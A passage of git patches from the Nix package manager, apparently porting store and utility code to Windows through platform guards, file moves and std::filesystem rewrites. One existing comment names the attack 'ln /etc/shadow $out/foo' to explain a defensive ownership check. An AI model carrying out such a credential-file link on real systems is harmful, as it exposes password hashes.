@@ -270,14 +272,25 @@ LocalStore::LocalStore(const Params & params) if (stat(reservedPath.c_str(), &st) == -1 || st.st_size != settings.reservedSize) { - AutoCloseFD fd = open(reservedPath.c_str(), O_WRONLY | O_CREAT | O_CLOEXEC, 0600); + AutoCloseFD fd = toDescriptor(open(reservedPath.c_str(), O_WRONLY | O_CREAT +#ifndef _WIN32 + | O_CLOEXEC +#endif + , 0600)); int res = -1; #if HAVE_POSIX_FALLOCATE res = posix_fallocate(fd.get(), 0, settings.reservedSize); #endif if (res == -1) { writeFull(fd.get(), std::string(settings.reservedSize, 'X')); - [[gnu::unused]] auto res2 = ftruncate(fd.get(), settings.reservedSize); + [[gnu::unused]] auto res2 = + +#ifdef _WIN32 + SetEndOfFile(fd.get()) +#else + ftruncate(fd.get(), settings.reservedSize) +#endif + ; } } } catch (SystemError & e) { /* don't care about errors */ @@ -460,10 +473,14 @@ LocalStore::LocalStore(std::string scheme, std::string path, const Params & para AutoCloseFD LocalStore::openGCLock() { Path fnGCLock = stateDir + "/gc.lock"; - auto fdGCLock = open(fnGCLock.c_str(), O_RDWR | O_CREAT | O_CLOEXEC, 0600); + auto fdGCLock = open(fnGCLock.c_str(), O_RDWR | O_CREAT +#ifndef _WIN32 + | O_CLOEXEC +#endif + , 0600); if (!fdGCLock) throw SysError("opening global GC lock '%1%'", fnGCLock); - return fdGCLock; + return toDescriptor(fdGCLock); } @@ -491,7 +508,7 @@ LocalStore::~LocalStore() try { auto fdTempRoots(_fdTempRoots.lock()); if (*fdTempRoots) { - *fdTempRoots = -1; + fdTempRoots->close(); unlink(fnTempRoots.c_str()); } } catch (...) { @@ -969,11 +986,13 @@ void LocalStore::registerValidPath(const ValidPathInfo & info) void LocalStore::registerValidPaths(const ValidPathInfos & infos) { +#ifndef _WIN32 /* SQLite will fsync by default, but the new valid paths may not be fsync-ed. So some may want to fsync them before registering the validity, at the expense of some speed of the path registering operation. */ if (settings.syncBeforeRegistering) sync(); +#endif return retrySQLite([&]() { auto state(_state.lock()); @@ -1155,7 +1174,7 @@ void LocalStore::addToStore(const ValidPathInfo & info, Source & source, autoGC(); - canonicalisePathMetaData(realPath, {}); + canonicalisePathMetaData(realPath); optimisePath(realPath, repair); // FIXME: combine with hashPath() @@ -1307,7 +1326,7 @@ StorePath LocalStore::addToStoreFromDump( narHash = narSink.finish(); } - canonicalisePathMetaData(realPath, {}); // FIXME: merge into restorePath + canonicalisePathMetaData(realPath); // FIXME: merge into restorePath optimisePath(realPath, repair); @@ -1340,8 +1359,8 @@ std::pair LocalStore::createTempDirInStore() the GC between createTempDir() and when we acquire a lock on it. We'll repeat until 'tmpDir' exists and we've locked it. */ tmpDirFn = createTempDir(realStoreDir, "tmp"); - tmpDirFd = open(tmpDirFn.c_str(), O_RDONLY | O_DIRECTORY); - if (tmpDirFd.get() < 0) { + tmpDirFd = openDirectory(tmpDirFn); + if (!tmpDirFd) { continue; } lockedByUs = lockFile(tmpDirFd.get(), ltWrite, true); @@ -1390,19 +1409,16 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) for (auto & link : readDirectory(linksDir)) { auto name = link.path().filename(); printMsg(lvlTalkative, "checking contents of '%s'", name); - Path linkPath = linksDir / name; PosixSourceAccessor accessor; std::string hash = hashPath( - {getFSSourceAccessor(), CanonPath(linkPath)}, + PosixSourceAccessor::createAtRoot(link.path()), FileIngestionMethod::Recursive, HashAlgorithm::SHA256).to_string(HashFormat::Nix32, false); if (hash != name.string()) { printError("link '%s' was modified! expected hash '%s', got '%s'", - linkPath, name, hash); + link.path(), name, hash); if (repair) { - if (unlink(linkPath.c_str()) == 0) - printInfo("removed link '%s'", linkPath); - else - throw SysError("removing corrupt link '%s'", linkPath); + std::filesystem::remove(link.path()); + printInfo("removed link '%s'", link.path()); } else { errors = true; } @@ -1583,8 +1599,12 @@ static void makeMutable(const Path & path) /* The O_NOFOLLOW is important to prevent us from changing the mutable bit on the target of a symlink (which would be a security hole). */ - AutoCloseFD fd = open(path.c_str(), O_RDONLY | O_NOFOLLOW | O_CLOEXEC); - if (fd == -1) { + AutoCloseFD fd = open(path.c_str(), O_RDONLY | O_NOFOLLOW +#ifndef _WIN32 + | O_CLOEXEC +#endif + ); + if (fd == INVALID_DESCRIPTOR) { if (errno == ELOOP) return; // it's a symlink throw SysError("opening file '%1%'", path); } diff --git a/src/libstore/unix/local-store.hh b/src/libstore/local-store.hh similarity index 100% rename from src/libstore/unix/local-store.hh rename to src/libstore/local-store.hh diff --git a/src/libstore/unix/local-store.md b/src/libstore/local-store.md similarity index 100% rename from src/libstore/unix/local-store.md rename to src/libstore/local-store.md diff --git a/src/libstore/local.mk b/src/libstore/local.mk index 590a230e5..cc67da786 100644 --- a/src/libstore/local.mk +++ b/src/libstore/local.mk @@ -89,11 +89,11 @@ else endif endif -$(d)/unix/local-store.cc: $(d)/unix/schema.sql.gen.hh $(d)/unix/ca-specific-schema.sql.gen.hh +$(d)/local-store.cc: $(d)/schema.sql.gen.hh $(d)/ca-specific-schema.sql.gen.hh $(d)/unix/build.cc: -clean-files += $(d)/unix/schema.sql.gen.hh $(d)/unix/ca-specific-schema.sql.gen.hh +clean-files += $(d)/schema.sql.gen.hh $(d)/ca-specific-schema.sql.gen.hh $(eval $(call install-file-in, $(buildprefix)$(d)/nix-store.pc, $(libdir)/pkgconfig, 0644)) diff --git a/src/libstore/unix/optimise-store.cc b/src/libstore/optimise-store.cc similarity index 80% rename from src/libstore/unix/optimise-store.cc rename to src/libstore/optimise-store.cc index 17b8e4d92..2477cf0c0 100644 --- a/src/libstore/unix/optimise-store.cc +++ b/src/libstore/optimise-store.cc @@ -155,55 +155,53 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, debug("'%1%' has hash '%2%'", path, hash.to_string(HashFormat::Nix32, true)); /* Check if this is a known hash. */ - Path linkPath = linksDir + "/" + hash.to_string(HashFormat::Nix32, false); + std::filesystem::path linkPath = std::filesystem::path{linksDir} / hash.to_string(HashFormat::Nix32, false); /* Maybe delete the link, if it has been corrupted. */ - if (pathExists(linkPath)) { - auto stLink = lstat(linkPath); + if (std::filesystem::exists(std::filesystem::symlink_status(linkPath))) { + auto stLink = lstat(linkPath.string()); if (st.st_size != stLink.st_size || (repair && hash != ({ hashPath( - {make_ref(), CanonPath(linkPath)}, + PosixSourceAccessor::createAtRoot(linkPath), FileSerialisationMethod::Recursive, HashAlgorithm::SHA256).first; }))) { // XXX: Consider overwriting linkPath with our valid version. - warn("removing corrupted link '%s'", linkPath); + warn("removing corrupted link %s", linkPath); warn("There may be more corrupted paths." "\nYou should run `nix-store --verify --check-contents --repair` to fix them all"); - unlink(linkPath.c_str()); + std::filesystem::remove(linkPath); } } - if (!pathExists(linkPath)) { + if (!std::filesystem::exists(std::filesystem::symlink_status(linkPath))) { /* Nope, create a hard link in the links directory. */ - if (link(path.c_str(), linkPath.c_str()) == 0) { + try { + std::filesystem::create_hard_link(path, linkPath); inodeHash.insert(st.st_ino); - return; - } + } catch (std::filesystem::filesystem_error & e) { + if (e.code() == std::errc::file_exists) { + /* Fall through if another process created ‘linkPath’ before + we did. */ + } - switch (errno) { - case EEXIST: - /* Fall through if another process created ‘linkPath’ before - we did. */ - break; + else if (e.code() == std::errc::no_space_on_device) { + /* On ext4, that probably means the directory index is + full. When that happens, it's fine to ignore it: we + just effectively disable deduplication of this + file. */ + printInfo("cannot link '%s' to '%s': %s", linkPath, path, strerror(errno)); + return; + } - case ENOSPC: - /* On ext4, that probably means the directory index is - full. When that happens, it's fine to ignore it: we - just effectively disable deduplication of this - file. */ - printInfo("cannot link '%s' to '%s': %s", linkPath, path, strerror(errno)); - return; - - default: - throw SysError("cannot link '%1%' to '%2%'", linkPath, path); + else throw; } } /* Yes! We've seen a file with the same contents. Replace the current file with a hard link to that file. */ - auto stLink = lstat(linkPath); + auto stLink = lstat(linkPath.string()); if (st.st_ino == stLink.st_ino) { debug("'%1%' is already linked to '%2%'", path, linkPath); @@ -223,10 +221,13 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, its timestamp back to 0. */ MakeReadOnly makeReadOnly(mustToggle ? dirOfPath : ""); - Path tempLink = fmt("%1%/.tmp-link-%2%-%3%", realStoreDir, getpid(), random()); + std::filesystem::path tempLink = fmt("%1%/.tmp-link-%2%-%3%", realStoreDir, getpid(), rand()); - if (link(linkPath.c_str(), tempLink.c_str()) == -1) { - if (errno == EMLINK) { + try { + std::filesystem::create_hard_link(linkPath, tempLink); + inodeHash.insert(st.st_ino); + } catch (std::filesystem::filesystem_error & e) { + if (e.code() == std::errc::too_many_links) { /* Too many links to the same file (>= 32000 on most file systems). This is likely to happen with empty files. Just shrug and ignore. */ @@ -234,16 +235,16 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, printInfo("'%1%' has maximum number of links", linkPath); return; } - throw SysError("cannot link '%1%' to '%2%'", tempLink, linkPath); + throw; } /* Atomically replace the old file with the new hard link. */ try { - renameFile(tempLink, path); - } catch (SystemError & e) { - if (unlink(tempLink.c_str()) == -1) + std::filesystem::rename(tempLink, path); + } catch (std::filesystem::filesystem_error & e) { + std::filesystem::remove(tempLink); printError("unable to unlink '%1%'", tempLink); - if (errno == EMLINK) { + if (e.code() == std::errc::too_many_links) { /* Some filesystems generate too many links on the rename, rather than on the original link. (Probably it temporarily increases the st_nlink field before @@ -258,7 +259,11 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, stats.bytesFreed += st.st_size; if (act) - act->result(resFileLinked, st.st_size, st.st_blocks); + act->result(resFileLinked, st.st_size +#ifndef _WIN32 + , st.st_blocks +#endif + ); } diff --git a/src/libstore/unix/posix-fs-canonicalise.cc b/src/libstore/posix-fs-canonicalise.cc similarity index 89% rename from src/libstore/unix/posix-fs-canonicalise.cc rename to src/libstore/posix-fs-canonicalise.cc index 916db49ac..d70ef6fae 100644 --- a/src/libstore/unix/posix-fs-canonicalise.cc +++ b/src/libstore/posix-fs-canonicalise.cc @@ -31,6 +31,7 @@ static void canonicaliseTimestampAndPermissions(const Path & path, const struct } +#ifndef _WIN32 // TODO implement if (st.st_mtime != mtimeStore) { struct timeval times[2]; times[0].tv_sec = st.st_atime; @@ -46,6 +47,7 @@ static void canonicaliseTimestampAndPermissions(const Path & path, const struct #endif throw SysError("changing modification time of '%1%'", path); } +#endif } @@ -57,7 +59,9 @@ void canonicaliseTimestampAndPermissions(const Path & path) static void canonicalisePathMetaData_( const Path & path, +#ifndef _WIN32 std::optional> uidRange, +#endif InodesSeen & inodesSeen) { checkInterrupt(); @@ -99,6 +103,7 @@ static void canonicalisePathMetaData_( } #endif +#ifndef _WIN32 /* Fail if the file is not owned by the build user. This prevents us from messing up the ownership/permissions of files hard-linked into the output (e.g. "ln /etc/shadow $out/foo"). @@ -112,11 +117,13 @@ static void canonicalisePathMetaData_( assert(S_ISLNK(st.st_mode) || (st.st_uid == geteuid() && (mode == 0444 || mode == 0555) && st.st_mtime == mtimeStore)); return; } +#endif inodesSeen.insert(Inode(st.st_dev, st.st_ino)); canonicaliseTimestampAndPermissions(path, st); +#ifndef _WIN32 /* Change ownership to the current uid. If it's a symlink, use lchown if available, otherwise don't bother. Wrong ownership of a symlink doesn't matter, since the owning user can't change @@ -134,22 +141,36 @@ static void canonicalisePathMetaData_( throw SysError("changing owner of '%1%' to %2%", path, geteuid()); } +#endif if (S_ISDIR(st.st_mode)) { std::vector entries = readDirectory(path); for (auto & i : entries) - canonicalisePathMetaData_(i.path().string(), uidRange, inodesSeen); + canonicalisePathMetaData_( + i.path().string(), +#ifndef _WIN32 + uidRange, +#endif + inodesSeen); } } void canonicalisePathMetaData( const Path & path, +#ifndef _WIN32 std::optional> uidRange, +#endif InodesSeen & inodesSeen) { - canonicalisePathMetaData_(path, uidRange, inodesSeen); + canonicalisePathMetaData_( + path, +#ifndef _WIN32 + uidRange, +#endif + inodesSeen); +#ifndef _WIN32 /* On platforms that don't have lchown(), the top-level path can't be a symlink, since we can't change its ownership. */ auto st = lstat(path); @@ -158,14 +179,23 @@ void canonicalisePathMetaData( assert(S_ISLNK(st.st_mode)); throw Error("wrong ownership of top-level store path '%1%'", path); } +#endif } -void canonicalisePathMetaData(const Path & path, - std::optional> uidRange) +void canonicalisePathMetaData(const Path & path +#ifndef _WIN32 + , std::optional> uidRange +#endif + ) { InodesSeen inodesSeen; - canonicalisePathMetaData(path, uidRange, inodesSeen); + canonicalisePathMetaData_( + path, +#ifndef _WIN32 + uidRange, +#endif + inodesSeen); } } diff --git a/src/libstore/unix/posix-fs-canonicalise.hh b/src/libstore/posix-fs-canonicalise.hh similarity index 85% rename from src/libstore/unix/posix-fs-canonicalise.hh rename to src/libstore/posix-fs-canonicalise.hh index 35644af12..45a4f3f20 100644 --- a/src/libstore/unix/posix-fs-canonicalise.hh +++ b/src/libstore/posix-fs-canonicalise.hh @@ -24,7 +24,7 @@ typedef std::set InodesSeen; * without execute permission; setuid bits etc. are cleared) * * - the owner and group are set to the Nix user and group, if we're - * running as root. + * running as root. (Unix only.) * * If uidRange is not empty, this function will throw an error if it * encounters files owned by a user outside of the closed interval @@ -32,11 +32,17 @@ typedef std::set InodesSeen; */ void canonicalisePathMetaData( const Path & path, +#ifndef _WIN32 std::optional> uidRange, +#endif InodesSeen & inodesSeen); + void canonicalisePathMetaData( - const Path & path, - std::optional> uidRange); + const Path & path +#ifndef _WIN32 + , std::optional> uidRange = std::nullopt +#endif + ); void canonicaliseTimestampAndPermissions(const Path & path); diff --git a/src/libstore/unix/schema.sql b/src/libstore/schema.sql similarity index 100% rename from src/libstore/unix/schema.sql rename to src/libstore/schema.sql diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index cefb5befd..419c55e92 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -20,10 +20,6 @@ #include "signals.hh" #include "users.hh" -#ifndef _WIN32 -# include "remote-store.hh" -#endif - #include #include @@ -1265,10 +1261,9 @@ Derivation Store::readInvalidDerivation(const StorePath & drvPath) } -#ifndef _WIN32 -# include "local-store.hh" -# include "uds-remote-store.hh" -#endif + +#include "local-store.hh" +#include "uds-remote-store.hh" namespace nix { @@ -1286,9 +1281,6 @@ std::pair splitUriAndParams(const std::string & uri_ return {uri, params}; } -#ifdef _WIN32 // Unused on Windows because the next `#ifndef` -[[maybe_unused]] -#endif static bool isNonUriPath(const std::string & spec) { return @@ -1303,7 +1295,6 @@ std::shared_ptr openFromNonUri(const std::string & uri, const Store::Para { // TODO reenable on Windows once we have `LocalStore` and // `UDSRemoteStore`. - #ifndef _WIN32 if (uri == "" || uri == "auto") { auto stateDir = getOr(params, "state", settings.nixStateDir); if (access(stateDir.c_str(), R_OK | W_OK) == 0) @@ -1348,9 +1339,6 @@ std::shared_ptr openFromNonUri(const std::string & uri, const Store::Para } else { return nullptr; } - #else - return nullptr; - #endif } // The `parseURL` function supports both IPv6 URIs as defined in diff --git a/src/libstore/unix/build/derivation-goal.cc b/src/libstore/unix/build/derivation-goal.cc index 4d4342996..8d6e35015 100644 --- a/src/libstore/unix/build/derivation-goal.cc +++ b/src/libstore/unix/build/derivation-goal.cc @@ -30,32 +30,6 @@ #include #include -#if HAVE_STATVFS -#include -#endif - -/* Includes required for chroot support. */ -#if __linux__ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#if HAVE_SECCOMP -#include -#endif -#define pivot_root(new_root, put_old) (syscall(SYS_pivot_root, new_root, put_old)) -#endif - -#if __APPLE__ -#include -#include -#endif - #include #include diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index 47251dbd7..39efa19fe 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -94,7 +94,7 @@ Path canonPath(PathView path, bool resolveSymlinks) path, [&followCount, &temp, maxFollow, resolveSymlinks] (std::string & result, std::string_view & remaining) { - if (resolveSymlinks && std::filesystem::is_symlink(result)) { + if (resolveSymlinks && fs::is_symlink(result)) { if (++followCount >= maxFollow) throw Error("infinite symlink recursion in path '%0%'", remaining); remaining = (temp = concatStrings(readLink(result), remaining)); diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index 5a0688104..4536accc3 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -117,6 +117,11 @@ bool pathAccessible(const Path & path); */ Path readLink(const Path & path); +/** + * Open a `Descriptor` with read-only access to the given directory. + */ +Descriptor openDirectory(const std::filesystem::path & path); + /** * Read the contents of a directory. The entries `.` and `..` are * removed. diff --git a/src/libutil/unix-domain-socket.hh b/src/libutil/unix-domain-socket.hh index a8bbc4b89..ba2baeb13 100644 --- a/src/libutil/unix-domain-socket.hh +++ b/src/libutil/unix-domain-socket.hh @@ -39,6 +39,7 @@ using Socket = * Windows gives this a different name */ # define SHUT_WR SD_SEND +# define SHUT_RDWR SD_BOTH #endif /** diff --git a/src/libutil/unix/file-system.cc b/src/libutil/unix/file-system.cc new file mode 100644 index 000000000..bbbbfa559 --- /dev/null +++ b/src/libutil/unix/file-system.cc @@ -0,0 +1,10 @@ +#include "file-system.hh" + +namespace nix { + +Descriptor openDirectory(const std::filesystem::path & path) +{ + return open(path.c_str(), O_RDONLY | O_DIRECTORY); +} + +} diff --git a/src/libutil/windows/file-system.cc b/src/libutil/windows/file-system.cc new file mode 100644 index 000000000..8002dd75e --- /dev/null +++ b/src/libutil/windows/file-system.cc @@ -0,0 +1,12 @@ +#include "file-system.hh" + +namespace nix { + +Descriptor openDirectory(const std::filesystem::path & path) +{ + return CreateFileW( + path.c_str(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, + FILE_FLAG_BACKUP_SEMANTICS, NULL); +} + +} From 39b2a399ad94f061eea0e0fc639cf1466587959e Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 10 May 2024 13:03:05 -0400 Subject: [PATCH 0579/1251] Start building the scheduler for Windows Building derivations is a lot harder, but the downloading goals is portable enough. The "common channel" code is due to Volth. I wonder if there is a way we can factor it out into separate functions / files to avoid some within-function CPP. Co-authored-by: volth --- maintainers/flake-module.nix | 22 ++-- .../build/drv-output-substitution-goal.cc | 14 ++- .../build/drv-output-substitution-goal.hh | 15 ++- src/libstore/{unix => }/build/entry-points.cc | 14 ++- src/libstore/{unix => }/build/goal.cc | 0 src/libstore/{unix => }/build/goal.hh | 4 +- .../{unix => }/build/substitution-goal.cc | 16 ++- .../{unix => }/build/substitution-goal.hh | 13 ++- src/libstore/{unix => }/build/worker.cc | 110 ++++++++++++++++-- src/libstore/{unix => }/build/worker.hh | 33 +++++- src/libstore/local.mk | 4 +- src/libstore/unix/build/derivation-goal.cc | 4 +- src/libstore/unix/build/derivation-goal.hh | 6 +- src/libstore/unix/{lock.cc => user-lock.cc} | 2 +- src/libstore/unix/{lock.hh => user-lock.hh} | 0 src/libstore/windows/build.cc | 37 ------ src/libstore/windows/pathlocks.cc | 2 + src/libutil/error.hh | 10 +- src/libutil/serialise.cc | 2 +- src/libutil/windows/file-descriptor.cc | 2 + src/libutil/windows/users.cc | 2 + src/libutil/windows/windows-async-pipe.cc | 43 +++++++ src/libutil/windows/windows-async-pipe.hh | 20 ++++ src/libutil/windows/windows-error.cc | 2 +- src/libutil/windows/windows-error.hh | 2 +- 25 files changed, 285 insertions(+), 94 deletions(-) rename src/libstore/{unix => }/build/drv-output-substitution-goal.cc (93%) rename src/libstore/{unix => }/build/drv-output-substitution-goal.hh (90%) rename src/libstore/{unix => }/build/entry-points.cc (90%) rename src/libstore/{unix => }/build/goal.cc (100%) rename src/libstore/{unix => }/build/goal.hh (97%) rename src/libstore/{unix => }/build/substitution-goal.cc (96%) rename src/libstore/{unix => }/build/substitution-goal.hh (91%) rename src/libstore/{unix => }/build/worker.cc (81%) rename src/libstore/{unix => }/build/worker.hh (92%) rename src/libstore/unix/{lock.cc => user-lock.cc} (99%) rename src/libstore/unix/{lock.hh => user-lock.hh} (100%) delete mode 100644 src/libstore/windows/build.cc create mode 100644 src/libutil/windows/windows-async-pipe.cc create mode 100644 src/libutil/windows/windows-async-pipe.hh diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index 351a01fcb..e541aeda8 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -227,18 +227,18 @@ ''^src/libstore/store-dir-config\.hh$'' ''^src/libstore/unix/build/derivation-goal\.cc$'' ''^src/libstore/unix/build/derivation-goal\.hh$'' - ''^src/libstore/unix/build/drv-output-substitution-goal\.cc$'' - ''^src/libstore/unix/build/drv-output-substitution-goal\.hh$'' - ''^src/libstore/unix/build/entry-points\.cc$'' - ''^src/libstore/unix/build/goal\.cc$'' - ''^src/libstore/unix/build/goal\.hh$'' + ''^src/libstore/build/drv-output-substitution-goal\.cc$'' + ''^src/libstore/build/drv-output-substitution-goal\.hh$'' + ''^src/libstore/build/entry-points\.cc$'' + ''^src/libstore/build/goal\.cc$'' + ''^src/libstore/build/goal\.hh$'' ''^src/libstore/unix/build/hook-instance\.cc$'' ''^src/libstore/unix/build/local-derivation-goal\.cc$'' ''^src/libstore/unix/build/local-derivation-goal\.hh$'' - ''^src/libstore/unix/build/substitution-goal\.cc$'' - ''^src/libstore/unix/build/substitution-goal\.hh$'' - ''^src/libstore/unix/build/worker\.cc$'' - ''^src/libstore/unix/build/worker\.hh$'' + ''^src/libstore/build/substitution-goal\.cc$'' + ''^src/libstore/build/substitution-goal\.hh$'' + ''^src/libstore/build/worker\.cc$'' + ''^src/libstore/build/worker\.hh$'' ''^src/libstore/unix/builtins/fetchurl\.cc$'' ''^src/libstore/unix/builtins/unpack-channel\.cc$'' ''^src/libstore/gc\.cc$'' @@ -246,8 +246,8 @@ ''^src/libstore/unix/local-overlay-store\.hh$'' ''^src/libstore/local-store\.cc$'' ''^src/libstore/local-store\.hh$'' - ''^src/libstore/unix/lock\.cc$'' - ''^src/libstore/unix/lock\.hh$'' + ''^src/libstore/unix/user-lock\.cc$'' + ''^src/libstore/unix/user-lock\.hh$'' ''^src/libstore/optimise-store\.cc$'' ''^src/libstore/unix/pathlocks\.cc$'' ''^src/libstore/posix-fs-canonicalise\.cc$'' diff --git a/src/libstore/unix/build/drv-output-substitution-goal.cc b/src/libstore/build/drv-output-substitution-goal.cc similarity index 93% rename from src/libstore/unix/build/drv-output-substitution-goal.cc rename to src/libstore/build/drv-output-substitution-goal.cc index b30957c84..13a07e4ea 100644 --- a/src/libstore/unix/build/drv-output-substitution-goal.cc +++ b/src/libstore/build/drv-output-substitution-goal.cc @@ -66,7 +66,11 @@ void DrvOutputSubstitutionGoal::tryNext() some other error occurs), so it must not touch `this`. So put the shared state in a separate refcounted object. */ downloadState = std::make_shared(); +#ifndef _WIN32 downloadState->outPipe.create(); +#else + downloadState->outPipe.createAsyncPipe(worker.ioport.get()); +#endif sub->queryRealisation( id, @@ -79,7 +83,13 @@ void DrvOutputSubstitutionGoal::tryNext() } } }); - worker.childStarted(shared_from_this(), {downloadState->outPipe.readSide.get()}, true, false); + worker.childStarted(shared_from_this(), { +#ifndef _WIN32 + downloadState->outPipe.readSide.get() +#else + &downloadState->outPipe +#endif + }, true, false); state = &DrvOutputSubstitutionGoal::realisationFetched; } @@ -158,7 +168,7 @@ void DrvOutputSubstitutionGoal::work() (this->*state)(); } -void DrvOutputSubstitutionGoal::handleEOF(int fd) +void DrvOutputSubstitutionGoal::handleEOF(Descriptor fd) { if (fd == downloadState->outPipe.readSide.get()) worker.wakeUp(shared_from_this()); } diff --git a/src/libstore/unix/build/drv-output-substitution-goal.hh b/src/libstore/build/drv-output-substitution-goal.hh similarity index 90% rename from src/libstore/unix/build/drv-output-substitution-goal.hh rename to src/libstore/build/drv-output-substitution-goal.hh index da2426e5e..4f06a9e9e 100644 --- a/src/libstore/unix/build/drv-output-substitution-goal.hh +++ b/src/libstore/build/drv-output-substitution-goal.hh @@ -1,11 +1,16 @@ #pragma once ///@file +#include +#include + #include "store-api.hh" #include "goal.hh" #include "realisation.hh" -#include -#include + +#ifdef _WIN32 +# include "windows-async-pipe.hh" +#endif namespace nix { @@ -43,7 +48,11 @@ class DrvOutputSubstitutionGoal : public Goal { struct DownloadState { +#ifndef _WIN32 Pipe outPipe; +#else + windows::AsyncPipe outPipe; +#endif std::promise> promise; }; @@ -71,7 +80,7 @@ public: std::string key() override; void work() override; - void handleEOF(int fd) override; + void handleEOF(Descriptor fd) override; JobCategory jobCategory() const override { return JobCategory::Substitution; diff --git a/src/libstore/unix/build/entry-points.cc b/src/libstore/build/entry-points.cc similarity index 90% rename from src/libstore/unix/build/entry-points.cc rename to src/libstore/build/entry-points.cc index d4bead28e..784f618c1 100644 --- a/src/libstore/unix/build/entry-points.cc +++ b/src/libstore/build/entry-points.cc @@ -1,6 +1,8 @@ #include "worker.hh" #include "substitution-goal.hh" -#include "derivation-goal.hh" +#ifndef _WIN32 // TODO Enable building on Windows +# include "derivation-goal.hh" +#endif #include "local-store.hh" namespace nix { @@ -25,9 +27,12 @@ void Store::buildPaths(const std::vector & reqs, BuildMode buildMod ex = std::move(i->ex); } if (i->exitCode != Goal::ecSuccess) { +#ifndef _WIN32 // TODO Enable building on Windows if (auto i2 = dynamic_cast(i.get())) failed.insert(printStorePath(i2->drvPath)); - else if (auto i2 = dynamic_cast(i.get())) + else +#endif + if (auto i2 = dynamic_cast(i.get())) failed.insert(printStorePath(i2->storePath)); } } @@ -74,7 +79,12 @@ BuildResult Store::buildDerivation(const StorePath & drvPath, const BasicDerivat BuildMode buildMode) { Worker worker(*this, *this); +#ifndef _WIN32 // TODO Enable building on Windows auto goal = worker.makeBasicDerivationGoal(drvPath, drv, OutputsSpec::All {}, buildMode); +#else + std::shared_ptr goal; + throw UnimplementedError("Building derivations not yet implemented on windows."); +#endif try { worker.run(Goals{goal}); diff --git a/src/libstore/unix/build/goal.cc b/src/libstore/build/goal.cc similarity index 100% rename from src/libstore/unix/build/goal.cc rename to src/libstore/build/goal.cc diff --git a/src/libstore/unix/build/goal.hh b/src/libstore/build/goal.hh similarity index 97% rename from src/libstore/unix/build/goal.hh rename to src/libstore/build/goal.hh index 9af083230..0d9b828e1 100644 --- a/src/libstore/unix/build/goal.hh +++ b/src/libstore/build/goal.hh @@ -138,12 +138,12 @@ public: virtual void waiteeDone(GoalPtr waitee, ExitCode result); - virtual void handleChildOutput(int fd, std::string_view data) + virtual void handleChildOutput(Descriptor fd, std::string_view data) { abort(); } - virtual void handleEOF(int fd) + virtual void handleEOF(Descriptor fd) { abort(); } diff --git a/src/libstore/unix/build/substitution-goal.cc b/src/libstore/build/substitution-goal.cc similarity index 96% rename from src/libstore/unix/build/substitution-goal.cc rename to src/libstore/build/substitution-goal.cc index c7e8e2825..0be3d1e8d 100644 --- a/src/libstore/unix/build/substitution-goal.cc +++ b/src/libstore/build/substitution-goal.cc @@ -212,7 +212,11 @@ void PathSubstitutionGoal::tryToRun() maintainRunningSubstitutions = std::make_unique>(worker.runningSubstitutions); worker.updateProgress(); +#ifndef _WIN32 outPipe.create(); +#else + outPipe.createAsyncPipe(worker.ioport.get()); +#endif promise = std::promise(); @@ -235,7 +239,13 @@ void PathSubstitutionGoal::tryToRun() } }); - worker.childStarted(shared_from_this(), {outPipe.readSide.get()}, true, false); + worker.childStarted(shared_from_this(), { +#ifndef _WIN32 + outPipe.readSide.get() +#else + &outPipe +#endif + }, true, false); state = &PathSubstitutionGoal::finished; } @@ -294,12 +304,12 @@ void PathSubstitutionGoal::finished() } -void PathSubstitutionGoal::handleChildOutput(int fd, std::string_view data) +void PathSubstitutionGoal::handleChildOutput(Descriptor fd, std::string_view data) { } -void PathSubstitutionGoal::handleEOF(int fd) +void PathSubstitutionGoal::handleEOF(Descriptor fd) { if (fd == outPipe.readSide.get()) worker.wakeUp(shared_from_this()); } diff --git a/src/libstore/unix/build/substitution-goal.hh b/src/libstore/build/substitution-goal.hh similarity index 91% rename from src/libstore/unix/build/substitution-goal.hh rename to src/libstore/build/substitution-goal.hh index 1d389d328..58d309424 100644 --- a/src/libstore/unix/build/substitution-goal.hh +++ b/src/libstore/build/substitution-goal.hh @@ -1,10 +1,13 @@ #pragma once ///@file -#include "lock.hh" #include "store-api.hh" #include "goal.hh" +#ifdef _WIN32 +# include "windows-async-pipe.hh" +#endif + namespace nix { class Worker; @@ -45,7 +48,11 @@ struct PathSubstitutionGoal : public Goal /** * Pipe for the substituter's standard output. */ +#ifndef _WIN32 Pipe outPipe; +#else + windows::AsyncPipe outPipe; +#endif /** * The substituter thread. @@ -111,8 +118,8 @@ public: /** * Callback used by the worker to write to the log. */ - void handleChildOutput(int fd, std::string_view data) override; - void handleEOF(int fd) override; + void handleChildOutput(Descriptor fd, std::string_view data) override; + void handleEOF(Descriptor fd) override; /* Called by destructor, can't be overridden */ void cleanup() override final; diff --git a/src/libstore/unix/build/worker.cc b/src/libstore/build/worker.cc similarity index 81% rename from src/libstore/unix/build/worker.cc rename to src/libstore/build/worker.cc index 03fc280a4..ac6f693a2 100644 --- a/src/libstore/unix/build/worker.cc +++ b/src/libstore/build/worker.cc @@ -1,12 +1,20 @@ +#include "local-store.hh" #include "machines.hh" #include "worker.hh" #include "substitution-goal.hh" #include "drv-output-substitution-goal.hh" -#include "local-derivation-goal.hh" -#include "hook-instance.hh" +#ifndef _WIN32 // TODO Enable building on Windows +# include "local-derivation-goal.hh" +# include "hook-instance.hh" +#endif #include "signals.hh" -#include +#ifndef _WIN32 +# include +#else +# include +# include "windows-error.hh" +#endif namespace nix { @@ -41,6 +49,7 @@ Worker::~Worker() assert(expectedNarSize == 0); } +#ifndef _WIN32 // TODO Enable building on Windows std::shared_ptr 